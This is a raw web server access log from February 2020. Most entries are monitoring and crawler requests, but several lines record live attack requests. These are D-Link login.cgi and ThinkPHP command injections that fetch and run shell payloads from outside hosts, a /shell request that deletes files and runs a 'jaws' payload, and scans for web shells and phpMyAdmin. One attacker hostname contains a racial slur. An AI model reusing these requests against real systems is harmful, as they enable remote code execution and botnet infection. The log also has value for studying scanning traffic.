212.91.246.72 - - [08/Feb/2020:21:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.151.211.218 - - [08/Feb/2020:21:33:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
46.229.168.153 - - [08/Feb/2020:21:33:13 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.136 - - [08/Feb/2020:21:33:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
66.151.211.218 - - [08/Feb/2020:21:33:42 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:21:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.151.211.218 - - [08/Feb/2020:21:33:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:21:33:50 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:21:34:29 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:21:34:36 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:21:34:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:21:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.151.211.218 - - [08/Feb/2020:21:35:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:21:35:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:21:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [08/Feb/2020:21:36:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [08/Feb/2020:21:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.169.49 - - [08/Feb/2020:21:37:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:21:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.224.231.236 - - [08/Feb/2020:21:37:53 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:21:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [08/Feb/2020:21:38:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
134.175.238.122 - - [08/Feb/2020:21:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
134.175.238.122 - - [08/Feb/2020:21:39:38 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
134.175.238.122 - - [08/Feb/2020:21:39:39 +0100] "POST /Admin54f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [08/Feb/2020:21:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:40:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:40:05 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:40:06 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:40:06 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:40:09 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:40:33 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:40:57 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:41:21 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
80.245.120.107 - - [08/Feb/2020:21:41:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
134.175.238.122 - - [08/Feb/2020:21:41:45 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:42:09 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:42:33 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:42:57 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
134.175.238.122 - - [08/Feb/2020:21:42:57 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:42:57 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:42:58 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:42:58 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:42:59 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:42:59 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:42:59 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:01 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:01 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:01 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:01 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:02 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:02 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:02 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:03 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:03 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:05 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:05 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:05 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:05 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:06 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:06 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:06 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:07 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:07 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:09 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:09 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:09 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:09 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:10 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:10 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:10 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:10 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:11 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:11 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:13 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:13 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:13 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:13 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:14 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:14 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:14 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:15 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:15 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:17 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:17 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:17 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:17 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:18 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:20 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:21 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:21 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:21 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:21 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:22 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:22 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:22 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:22 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:22 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:23 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:25 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:25 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:25 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:26 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:26 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:26 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:27 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:27 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:28 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:29 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:29 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:29 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:29 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:30 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:31 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:31 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:31 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
